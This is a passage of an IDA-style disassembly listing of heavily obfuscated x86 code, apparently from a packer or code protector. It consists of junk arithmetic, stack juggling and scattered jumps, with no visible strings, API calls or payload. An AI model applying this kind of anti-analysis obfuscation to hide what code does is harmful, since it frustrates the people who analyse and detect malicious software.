; ---------------------------------------------------------------------------


loc_5A7508:				; CODE XREF: sdfs____:005A8947j
		push	ebp
		mov	ebp, 6AE04193h
		dec	ebp
		not	ebp
		inc	ebp
		shr	ebp, 4
		xor	ebp, 951FBE2h
		sub	ebx, 37CE2AA8h
		add	ebx, ebp
		jmp	loc_59A8C5
; ---------------------------------------------------------------------------


loc_5A7528:				; CODE XREF: sdfs____:loc_5A9247j
		dec	ecx
		and	ecx, 30271376h
		jle	loc_5A1182
		jmp	loc_5AE49E
; ---------------------------------------------------------------------------


loc_5A753A:				; CODE XREF: sdfs____:005A3AD4j
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5A8B6B
; ---------------------------------------------------------------------------


loc_5A754E:				; CODE XREF: sdfs____:005A81BCj
					; sdfs____:005AEF19j
		push	786Dh
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5AB5E5
; ---------------------------------------------------------------------------


loc_5A755C:				; CODE XREF: sdfs____:005A0D33j
		push	esi
		jmp	loc_5A87DF
; ---------------------------------------------------------------------------
word_5A7562	dw 77FFh		; DATA XREF: sdfs____:00598F38o
		dd 59669D1Ch, 9C241CD2h, 0FF4C28E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A7571:				; CODE XREF: sdfs____:0059CB54j
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	ebx, 3B01077Ah
		add	ebx, ecx
		sub	ebx, 3B01077Ah
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		push	edi
		mov	edi, 0D412CEh
		xor	edi, 169B2611h
		sub	edi, 25FE1F8Bh
		jmp	loc_5A943E
; ---------------------------------------------------------------------------
		db 55h
		dd 0FF8429E9h
		db 0FFh
byte_5A75B9	db 66h,	8Bh, 4		; DATA XREF: sdfs____:00598E98o
		dd 8B545524h, 0C481242Ch, 4, 0E904EC83h, 0FFFF72A3h
; ---------------------------------------------------------------------------


loc_5A75D0:				; CODE XREF: sdfs____:0059EA6Aj
					; sdfs____:005A364Bj
		shl	edx, 1
		push	212Ch
		mov	[esp], ecx
		push	ebp
		jmp	loc_5A1FCE
; ---------------------------------------------------------------------------


loc_5A75E0:				; CODE XREF: sdfs____:0059C7A1j
					; sdfs____:loc_59F12Ej
		mov	eax, 3F000D71h
		shr	eax, 7
		push	esi
		mov	esi, 1EB34191h
		push	ebp
		jmp	loc_5AB0BB
; ---------------------------------------------------------------------------
dword_5A75F4	dd 8B2434FFh, 89532404h, 4C381E3h, 81000000h, 4C3h, 241C8700h
					; DATA XREF: sdfs____:00599040o
		dd 5224248Bh, 7D27E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A7615:				; CODE XREF: sdfs____:005A7828j
		mov	[esp], ecx
		jmp	loc_59A340
; ---------------------------------------------------------------------------


loc_5A761D:				; CODE XREF: sdfs____:0059EE39j
		pop	eax
		jmp	loc_5AE3F3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 0C581DD01h, 16FB1143h, 242C875Bh, 5ABDE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A763E:				; CODE XREF: sdfs____:005AA62Bj
		xor	edi, [esp]
		mov	esp, [esp]
		cmp	cl, al
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A764C:				; CODE XREF: sdfs____:005A29E1j
		mov	ebx, esp
		push	edi
		mov	edi, 57C76F78h
		add	edi, 5DE20963h
		jmp	loc_59FEB8
; ---------------------------------------------------------------------------


loc_5A765F:				; CODE XREF: sdfs____:0059DA9Bj
		push	ebx
		mov	ebx, 0F1528D1h
		dec	ebx
		not	ebx
		dec	ebx
		not	ebx
		shr	ebx, 6
		shr	ebx, 6
		jmp	loc_5A274E
; ---------------------------------------------------------------------------


loc_5A7676:				; CODE XREF: sdfs____:005A86CBj
		mov	[esp], ebp
		jmp	loc_59C8A5
; ---------------------------------------------------------------------------


loc_5A767E:				; CODE XREF: sdfs____:005A2940j
		sub	ecx, 5826004Eh
		push	eax
		mov	eax, 8BFE8A9Dh
		sub	ecx, eax
		pop	eax
		sub	edi, ecx
		pop	ecx
		jmp	loc_5AD26A
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 9Bh
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A769B:				; CODE XREF: sdfs____:0059F201j
		inc	edi
		jg	loc_5AAE6C
		jmp	loc_5AC370
; ---------------------------------------------------------------------------
		dd offset dword_54A548+120h
		align 4
		dd 2C243489h
		db 0CDh
; ---------------------------------------------------------------------------


loc_5A76B1:				; CODE XREF: sdfs____:005A35BAj
		sub	ebx, 4
		jmp	loc_5A12E6
; ---------------------------------------------------------------------------


loc_5A76B9:				; CODE XREF: sdfs____:0059EF1Ej
		pop	esp
		xor	bx, ax
		movzx	eax, ax
		push	small 56B2h
		jmp	loc_5A5127
; ---------------------------------------------------------------------------


loc_5A76C9:				; CODE XREF: sdfs____:005A5370j
					; DATA XREF: sdfs____:0059D165o ...
		mov	edx, 1E136ABDh
		jmp	loc_59C4FC
; ---------------------------------------------------------------------------
		db 89h
		dd 4BB241Ch, 81000000h,	181C26EAh, 57DA015Fh, 5F1F05BFh
		dd 2EFC12Fh, 0DDBD554Fh, 81422422h, 226E94CDh, 56F58722h
		dd 52E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A7701:				; CODE XREF: sdfs____:005A55DEj
					; sdfs____:005AAE49j
		xor	ebp, 70EF0FB3h
		jmp	loc_5AD6B8
; ---------------------------------------------------------------------------


loc_5A770C:				; CODE XREF: sdfs____:005A0D6Cj
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, 76C55475h
		jmp	loc_59BBCE
; ---------------------------------------------------------------------------


loc_5A7722:				; CODE XREF: sdfs____:005A7BAEj
		pop	dword ptr [esp]
		jmp	loc_5A3DC1
; ---------------------------------------------------------------------------


loc_5A772A:				; CODE XREF: sdfs____:005A5E71j
					; sdfs____:005A6EA0j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_599BEA
; ---------------------------------------------------------------------------


loc_5A7746:				; CODE XREF: sdfs____:005A1CB7j
		push	ebp
		xor	dword ptr [esp], 2C84265Fh
		pop	ecx
		jmp	loc_59A6C4
; ---------------------------------------------------------------------------


loc_5A7754:				; CODE XREF: sdfs____:0059DD31j
		pop	ebx
		add	edx, 38C2204Fh
		sub	eax, edx
		jmp	loc_599BA8
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24048904h, 98CFE954h, 9368FFFFh, 89000038h, 0D3BE2434h
		dd 0E9296064h, 0FFFF42DCh
; ---------------------------------------------------------------------------


loc_5A7780:				; CODE XREF: sdfs____:005A082Aj
		shl	ebx, 3
		add	ebx, 845DFAC4h
		push	2C03h
		mov	[esp], edi
		mov	edi, 297A2AC4h
		add	eax, edi
		pop	edi
		add	eax, ebx
		sub	eax, 297A2AC4h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5A670A
; ---------------------------------------------------------------------------


loc_5A77AC:				; CODE XREF: sdfs____:loc_59F67Fj
		push	edi
		jmp	loc_59D56B
; ---------------------------------------------------------------------------


loc_5A77B2:				; CODE XREF: sdfs____:0059B7ECj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	766Fh
		mov	[esp], esi
		jmp	loc_5ACFEF
; ---------------------------------------------------------------------------


loc_5A77C9:				; CODE XREF: sdfs____:005A053Aj
					; sdfs____:005B0240j
		mov	bh, 4
		mov	al, 28h
		sub	al, bh
		pop	ebx
		jmp	loc_5A71C6
; ---------------------------------------------------------------------------


loc_5A77D5:				; CODE XREF: sdfs____:005A59E4j
					; sdfs____:005A8283j
		push	ebx
		mov	ebx, 171B31C7h
		shl	ebx, 8
		or	ebx, 6ECE0F0Dh
		neg	ebx
		add	ebx, 0D3AD2B0Eh
		add	eax, ebx
		jmp	loc_59E134
; ---------------------------------------------------------------------------


loc_5A77F3:				; CODE XREF: sdfs____:005A2E16j
		mov	ebp, 446A3431h
		xor	ebp, 446A3430h
		jmp	loc_5A19F7
; ---------------------------------------------------------------------------


loc_5A7803:				; CODE XREF: sdfs____:005AE7A8j
		xor	eax, 1C7E2BE8h
		xor	ecx, eax
		pop	eax
		inc	ecx
		sub	ecx, 0EBD3CE16h
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_5A7615
; ---------------------------------------------------------------------------
		db 58h,	8Fh, 4
		dd 24248B24h, 0FF18D6E9h
		db 0FFh
; ---------------------------------------------------------------------------

locret_5A7839:				; CODE XREF: sdfs____:005AFC79j
		retn
; ---------------------------------------------------------------------------
		dw 0D0E9h
		dd 0FFFFF18h, 0FFF3EB8Dh, 877835FFh, 3AE94FECh,	0B9000018h
		dd 2CA71FD0h, 3517E981h, 0C1816E27h, 1FF04106h,	193DC981h
		dd 0F1810762h, 0AB235698h, 4759CF29h, 8068EFD1h, 0E900000Dh
		dd 0FFFF4B63h, 81240C8Bh, 4C4h,	24343300h, 0E9243431h
		dd 7B7Ah
; ---------------------------------------------------------------------------


loc_5A7890:				; CODE XREF: sdfs____:0059F371j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	4549h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	esi
		jmp	loc_5A9111
; ---------------------------------------------------------------------------


loc_5A78B3:				; CODE XREF: sdfs____:005A04BCj
		sub	edi, 531910AFh
		sub	edi, ebp
		add	edi, 531910AFh
		pop	ebp
		push	esi
		push	53BA7C71h
		mov	esi, [esp]
		jmp	loc_5A8373
; ---------------------------------------------------------------------------


loc_5A78D0:				; CODE XREF: sdfs____:005A2F02j
					; sdfs____:005AE7D4j
		neg	esi
		jmp	loc_5AAAFC
; ---------------------------------------------------------------------------


loc_5A78D7:				; CODE XREF: sdfs____:005ABDF9j
		mov	[esp], edi
		mov	edi, 656C1BD1h
		neg	edi
		jns	loc_5A3C86
		and	edi, 0BFB0A92h
		xor	edi, 5BAA540Ah
		dec	edi
		not	edi
		xor	edi, 0D918DC01h
		jmp	loc_59FE35
; ---------------------------------------------------------------------------


loc_5A7901:				; CODE XREF: sdfs____:0059B698j
		mov	edx, 2C2B62CDh
		shl	edx, 6
		xor	edx, 69E689C1h
		add	ebx, edx
		pop	edx
		sub	ebx, 0C033F3B7h
		add	edx, ebx
		pop	ebx
		jmp	loc_5A275B
; ---------------------------------------------------------------------------
		dd 53E08950h, 4BBh, 0D7DCE900h,	7468FFFFh, 0E900006Eh
		dd 79C8h
; ---------------------------------------------------------------------------


loc_5A7938:				; CODE XREF: sdfs____:0059AD76j
		add	dl, al
		jmp	loc_5AC1B2
; ---------------------------------------------------------------------------
aQiISu		db 'Q‰Á‰Ïéî>',0
		db 0
; ---------------------------------------------------------------------------


loc_5A7949:				; CODE XREF: sdfs____:0059AD14j
		mov	esp, [esp]
		push	6896h
		mov	[esp], ebx
		push	86Ah
		mov	[esp], edi
		jmp	loc_5A8593
; ---------------------------------------------------------------------------


loc_5A7961:				; CODE XREF: sdfs____:005A6A2Cj
		sub	edx, 2B055050h
		sub	edx, eax
		add	edx, 2B055050h
		push	7346h
		mov	[esp], edi
		mov	edi, 36F423D8h
		add	edx, edi
		push	dword ptr [esp]
		jmp	loc_5A480B
; ---------------------------------------------------------------------------
		dw 0F8BBh
		dd 5062547Dh, 3A24DCB8h, 35D8F743h, 262266DEh, 6BB1E9h
		dd 2DE80100h, 44D92EF3h, 83242C8Bh, 0FF5004C4h,	58042474h
		dd 5C24048Fh, 582434FFh, 0FB90E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A79BE:				; CODE XREF: sdfs____:005A94EFj
		push	ebp
		mov	ebp, 7380666Bh
		add	ebx, ebp
		pop	ebp
		add	ebx, eax
		sub	ebx, 7380666Bh
		sub	ebx, 4D60FBEh
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59BF93
; ---------------------------------------------------------------------------


loc_5A79E3:				; CODE XREF: sdfs____:005A5297j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	ecx, al
		push	edx
		jmp	loc_59A26C
; ---------------------------------------------------------------------------


loc_5A7A01:				; CODE XREF: sdfs____:005A64E2j
		sub	edi, 8270527h
		jmp	loc_5A5B09
; ---------------------------------------------------------------------------
		dd 74E95954h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7A13:				; CODE XREF: sdfs____:005B0356j
		xor	ebp, eax
		pop	eax
		shl	ebp, 4
		js	loc_5A6BD3
		inc	ebp
		js	loc_5A5340
		jmp	loc_59CC7F
; ---------------------------------------------------------------------------
byte_5A7A2B	db 66h			; DATA XREF: sdfs____:00599078o
		dd 6824048Bh, 799Bh, 0E9240C89h, 0FFFF6465h
; ---------------------------------------------------------------------------


loc_5A7A3C:				; CODE XREF: sdfs____:0059D52Fj
		mov	edx, [esp]
		add	esp, 4
		push	6C4Eh
		mov	[esp], ebp
		jmp	loc_5A0AD3
; ---------------------------------------------------------------------------


loc_5A7A4F:				; CODE XREF: sdfs____:0059A467j
		pop	small word ptr [edi+eax*4]
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A7A58:				; CODE XREF: sdfs____:005A8761j
		pop	esp
		jmp	loc_5AFE47
; ---------------------------------------------------------------------------


loc_5A7A5E:				; CODE XREF: sdfs____:005A2469j
		shr	ecx, 2
		jmp	loc_5A6085
; ---------------------------------------------------------------------------


loc_5A7A66:				; CODE XREF: sdfs____:0059B28Cj
		mov	edi, 1C6449C4h
		jmp	loc_5A6015
; ---------------------------------------------------------------------------
		dd 48F9B850h, 0E7053A22h, 0E935EF78h, 0FFFFF612h
; ---------------------------------------------------------------------------


loc_5A7A80:				; CODE XREF: sdfs____:0059EF47j
		push	ecx
		mov	ecx, 4
		add	edi, 4C8234D5h
		sub	edi, 19B02D7Ah
		sub	edi, ecx
		add	edi, 19B02D7Ah
		push	eax
		mov	eax, 77DE3CFAh
		xor	eax, 40F9376Ch
		or	eax, 46430D7Eh
		shl	eax, 6
		xor	eax, 9541CB55h
		sub	edi, eax
		pop	eax
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		pop	edi
		push	7CD4h
		mov	[esp], esi
		jmp	loc_5AFC14
; ---------------------------------------------------------------------------


loc_5A7ACC:				; CODE XREF: sdfs____:005AEC6Fj
		mov	[esp], edi
		mov	edi, 7B064ACh
		jmp	loc_5AD089
; ---------------------------------------------------------------------------


loc_5A7AD9:				; CODE XREF: sdfs____:005A5633j
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59BD20
; ---------------------------------------------------------------------------
		db 29h
		dd 0EE015BDEh, 7BC2E9h,	36ED8000h, 53B0C580h, 0FC88EF88h
		dd 0E4C0595Bh, 0A9ACE908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7B0A:				; CODE XREF: sdfs____:0059D379j
		pop	ebp
		neg	eax
		neg	eax
		not	eax
		jmp	loc_59D2CC
; ---------------------------------------------------------------------------
		dw 0FB01h
		dd 3848C381h, 2BE91554h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A7B23:				; CODE XREF: sdfs____:005A940Aj
		jmp	loc_59F322
; ---------------------------------------------------------------------------


loc_5A7B28:				; CODE XREF: sdfs____:005A2190j
		pop	ecx
		push	edi
		jmp	loc_5A2254
; ---------------------------------------------------------------------------


loc_5A7B2F:				; CODE XREF: sdfs____:005A97E3j
		add	ebx, 18649C5h
		add	ebx, eax
		sub	ebx, 18649C5h
		mov	eax, [esp]
		jmp	loc_5A0D8A
; ---------------------------------------------------------------------------


loc_5A7B45:				; CODE XREF: sdfs____:005ACFEAj
					; sdfs____:005AD929j
		add	ecx, eax
		jmp	loc_59B62C
; ---------------------------------------------------------------------------


loc_5A7B4C:				; CODE XREF: sdfs____:005A52E4j
		push	ecx
		mov	ecx, 57BE6FF7h
		jmp	loc_5A3650
; ---------------------------------------------------------------------------


loc_5A7B57:				; CODE XREF: sdfs____:005ACEB6j
		shl	edi, 8
		dec	edi
		jmp	loc_5AC1B9
; ---------------------------------------------------------------------------


loc_5A7B60:				; CODE XREF: sdfs____:0059A586j
		pop	eax
		jmp	loc_59E37C
; ---------------------------------------------------------------------------


loc_5A7B66:				; CODE XREF: sdfs____:005A9010j
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5A66B6
; ---------------------------------------------------------------------------
		dd 5224348Bh, 0E955E289h, 0FFFF9348h, 9C2424D3h, 5E3FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A7B85:				; CODE XREF: sdfs____:005A5187j
		add	bl, cl
		pop	cx
		add	bl, 4Bh
		sub	bl, al
		sub	bl, 4Bh
		push	26FAh
		mov	[esp], ecx
		mov	cl, 61h
		jmp	loc_5AE24D
; ---------------------------------------------------------------------------


loc_5A7BA0:				; CODE XREF: sdfs____:005A0DC0j
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5A7722
; ---------------------------------------------------------------------------


loc_5A7BB3:				; CODE XREF: sdfs____:0059AF2Aj
		add	eax, 5C895B45h
		add	eax, ebx
		sub	eax, 5C895B45h
		add	eax, 4BBD1050h
		jmp	loc_5A3068
; ---------------------------------------------------------------------------
		db 50h,	0B4h, 9Dh
		dd 808ECC80h, 0E5289DC4h, 0FFC368E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A7BD9:				; CODE XREF: sdfs____:005A86D7j
		pop	edi
		shr	edi, 6
		add	edi, 38F8B606h
		mov	ebp, edi
		pop	edi
		jmp	loc_5A220D
; ---------------------------------------------------------------------------
byte_5A7BEB	db 0ACh			; DATA XREF: sdfs____:0059908Co
		dd 0E952D830h, 0FFFFB540h
; ---------------------------------------------------------------------------


loc_5A7BF4:				; CODE XREF: sdfs____:0059A6CAj
		pop	ebp
		push	ecx
		jmp	loc_59CC5F
; ---------------------------------------------------------------------------


loc_5A7BFB:				; CODE XREF: sdfs____:005A59EAj
		mov	ecx, esp
		push	5572h
		mov	[esp], edx
		push	edi
		mov	edi, 4
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_599CB9
; ---------------------------------------------------------------------------
		db 81h
		dd 0B37825EAh, 0E9EA0159h, 0FFFFD7DCh
; ---------------------------------------------------------------------------


loc_5A7C28:				; CODE XREF: sdfs____:0059D30Ej
					; sdfs____:loc_5AA6C6j	...
		pop	eax
		add	bl, 57h
		sub	bl, 0F1h
		add	bl, al
		add	bl, 0F1h
		jmp	loc_59ACC3
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 4
		dd 3647C381h, 0F2E94EF7h
		db 20h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7C47:				; CODE XREF: sdfs____:005A8BC3j
		sub	ebx, eax
		add	ebx, 63395605h
		sub	ebx, 764661A9h
		jmp	loc_5A5DE8
; ---------------------------------------------------------------------------


loc_5A7C5A:				; CODE XREF: sdfs____:005A1272j
		jb	loc_5A05C5
		jmp	loc_5A1A86
; ---------------------------------------------------------------------------
		db 5Dh,	57h, 0BFh
		dd 78AB581Fh
; ---------------------------------------------------------------------------


loc_5A7C6C:				; CODE XREF: sdfs____:0059D4DFj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59CCA0
; ---------------------------------------------------------------------------


loc_5A7C75:				; CODE XREF: sdfs____:005A6ED2j
		pop	eax
		sub	esi, 11574741h
		add	esi, edi
		add	esi, 11574741h
		push	ebp
		mov	ebp, 520240F7h
		shr	ebp, 8
		inc	ebp
		add	ebp, 57C26E0Dh
		push	ecx
		mov	ecx, 3CA277EDh
		add	esi, ecx
		jmp	loc_5A31AA
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
aPKSI		db '¸^PÖk)Áé³I',0
		align 10h
		dd 0F1268h, 241C8900h, 0FF59A1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A7CBD:				; CODE XREF: sdfs____:0059E9FEj
		add	ebp, edx
		jmp	loc_5A6546
; ---------------------------------------------------------------------------


loc_5A7CC4:				; CODE XREF: sdfs____:005A7278j
		mov	[esp], eax
		push	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		div	cl
		movzx	cx, ah
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	edi
		jmp	loc_59A9E9
; ---------------------------------------------------------------------------


loc_5A7D05:				; CODE XREF: sdfs____:005AE2D3j
		mov	edx, 6920051Dh
		xor	edx, 9FE3991Bh
		add	ebx, edx
		jmp	loc_5AE303
; ---------------------------------------------------------------------------
		db 57h
		dd 0FD89DF89h, 0EE215B5Fh, 9EBB535Dh, 117C159h,	0D6F75BDEh
		dd 11E9D6F7h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7D33:				; CODE XREF: sdfs____:0059D7EBj
		or	ch, 84h
		xor	ch, 85h
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59E262
; ---------------------------------------------------------------------------


loc_5A7D48:				; CODE XREF: sdfs____:005AFF44j
		or	ch, bl
		pop	ebx
		jmp	loc_5A8CAB
; ---------------------------------------------------------------------------


loc_5A7D50:				; CODE XREF: sdfs____:0059AB4Fj
		push	esi
		jmp	loc_5AB7A7
; ---------------------------------------------------------------------------


loc_5A7D56:				; CODE XREF: sdfs____:005A6C14j
		xchg	ebx, [esp]
		pop	esp
		pop	esi
		push	ebp
		mov	ebp, 34232F9Fh
		sub	ecx, 3441557Eh
		sub	ecx, ebp
		add	ecx, 3441557Eh
		pop	ebp
		jmp	loc_5AD476
; ---------------------------------------------------------------------------


loc_5A7D75:				; CODE XREF: sdfs____:0059EF91j
					; sdfs____:005AFD5Aj
		mov	dh, al
		mov	bl, dh
		mov	edx, [esp]
		jmp	loc_5A0341
; ---------------------------------------------------------------------------


loc_5A7D81:				; CODE XREF: sdfs____:0059F686j
		mov	edi, 10C05841h
		add	eax, edi
		pop	edi
		jmp	loc_59F6CA
; ---------------------------------------------------------------------------
		dw 0D129h
		dd 0B1CE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A7D96:				; CODE XREF: sdfs____:0059A164j
		xor	ebx, 30693E6Eh
		or	ebx, 3DA75179h
		jl	loc_5AF092
		inc	ebx
		jle	loc_5A6626
		or	ch, 27h
		pop	eax


loc_5A7DB3:				; CODE XREF: sdfs____:loc_5A37C9j
		sub	ebx, 13F320D9h
		jmp	loc_5A9089
; ---------------------------------------------------------------------------


loc_5A7DBE:				; CODE XREF: sdfs____:005A413Bj
		pop	ebp
		add	esp, 4
		dec	edx
		jmp	loc_5A324B
; ---------------------------------------------------------------------------


loc_5A7DCB:				; CODE XREF: sdfs____:005A8EE5j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_599EC4
; ---------------------------------------------------------------------------


loc_5A7DE4:				; CODE XREF: sdfs____:005AEC17j
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 0D8BB5324h, 4B164512h, 428CC381h, 8E0F7578h,	2CE4h
		dd 0FFE7EBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A7E0D:				; CODE XREF: sdfs____:005A0EBFj
		push	esi
		mov	esi, 769D21EAh
		or	esi, 31D2778Ch
		jmp	loc_5A662B
; ---------------------------------------------------------------------------
		dw 2489h
		dd 0E9565524h, 0FFFF4756h
; ---------------------------------------------------------------------------


loc_5A7E28:				; CODE XREF: sdfs____:0059C1CDj
					; sdfs____:005ABADAj
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 3B586AF8h
		add	ecx, 71C91FC7h
		shr	ecx, 1
		inc	ecx
		shr	ecx, 2
		jmp	loc_5A8EA6
; ---------------------------------------------------------------------------


loc_5A7E44:				; CODE XREF: sdfs____:005A5FB7j
		add	ebx, esi
		jmp	loc_59D313
; ---------------------------------------------------------------------------


loc_5A7E4B:				; CODE XREF: sdfs____:0059DB55j
		mov	esp, [esp]
		shr	ecx, 0Ah
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	edx, 460F4968h
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	[esp+4], ecx
		pop	ecx
		pop	eax
		jmp	loc_5A365A
; ---------------------------------------------------------------------------


loc_5A7E77:				; CODE XREF: sdfs____:loc_59BA9Dj
		dec	ebx
		jp	loc_5A5FBC
		and	ebx, 5A1F59BBh
		jnz	loc_59DD1D
		mov	edi, ecx


loc_5A7E8C:				; CODE XREF: sdfs____:0059A88Bj
		add	edx, ecx
		pop	ecx
		jmp	loc_5AC310
; ---------------------------------------------------------------------------


loc_5A7E94:				; CODE XREF: sdfs____:005A9B7Dj
		sub	edx, 412256A1h
		jnz	loc_5AC70A
		jmp	loc_5A5A9C
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0DF89C689h
; ---------------------------------------------------------------------------


loc_5A7EAC:				; CODE XREF: sdfs____:005AFDDDj
		inc	ebx
		jmp	loc_5AAA78
; ---------------------------------------------------------------------------


loc_5A7EB2:				; CODE XREF: sdfs____:005ABBFEj
		add	ebp, edi
		add	ebp, 14F3093Eh
		jmp	loc_5A19FE
; ---------------------------------------------------------------------------
		db 66h
		dd 7C33E281h, 4EAC166h,	86B86650h, 0B3356601h, 2C9FE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A7ED6:				; CODE XREF: sdfs____:005A2047j
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 72F90076h
		and	edi, 48E937B9h
		jz	loc_5A9A8F
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5AE0DD
; ---------------------------------------------------------------------------


loc_5A7F02:				; CODE XREF: sdfs____:0059FFCDj
		mov	edx, [esp]
		add	esp, 4
		add	edi, esi
		pop	esi
		add	edi, 19DF559Fh
		std
		push	edx
		jmp	loc_59A57E
; ---------------------------------------------------------------------------
		dd 8324048Bh, 0C28304C4h, 94E95004h
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7F27:				; CODE XREF: sdfs____:005A2F15j
		dec	esi
		not	esi
		add	esi, 0CD2AE232h
		add	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		sub	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5A2E13
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 58696800h, 2C890000h, 1DFDBD24h, 0E8010168h
		dd 0FF8207E9h, 68BE56FFh, 81560A46h, 0AE0A7CEEh, 2412E914h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7F7A:				; CODE XREF: sdfs____:0059AD40j
		mov	ebp, edi
		pop	edi
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_59D4EF
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8324048Bh, 936804C4h, 89000053h, 0E589242Ch,	231ABF57h
		dd 0EFC15F2Dh, 3ED3E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7FBA:				; CODE XREF: sdfs____:005AF50Cj
		pop	esi
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	1107h
		mov	[esp], ecx
		mov	ecx, 27020411h
		sub	dword ptr [esp+4], 145F1007h
		jmp	loc_5A6C21
; ---------------------------------------------------------------------------


loc_5A7FDB:				; CODE XREF: sdfs____:005AE57Bj
		inc	ebx
		dec	ebx
		sub	ebx, 1
		shl	ebx, 4
		shr	ebx, 2
		add	ebx, 50D4D34h
		sub	esi, ebx
		jmp	loc_5AB9DD
; ---------------------------------------------------------------------------


loc_5A7FF6:				; CODE XREF: sdfs____:005AE13Bj
		mov	ebx, 6C2058FDh
		xor	ebx, edx
		jmp	loc_5A4B4C
; ---------------------------------------------------------------------------


loc_5A8002:				; CODE XREF: sdfs____:0059AE96j
		mov	[esp], ebx
		push	edx
		mov	edx, 0FD75EFDh
		add	edx, 0F028A107h
		mov	ebx, edx
		pop	edx
		mov	eax, ebx
		pop	ebx
		add	ecx, 56CD1926h
		sub	ecx, eax
		sub	ecx, 56CD1926h
		pop	eax
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A5C24
; ---------------------------------------------------------------------------


loc_5A8037:				; CODE XREF: sdfs____:0059E27Bj
		add	esp, 4
		push	ebp
		mov	ebp, 117E6C2Ah
		xor	ebx, ebp
		pop	ebp
		inc	ebx
		neg	ebx
		and	ebx, 640464E7h
		add	ebx, 0FFFFFB9Fh
		jmp	loc_5A3E06
; ---------------------------------------------------------------------------
		dw 0EB81h
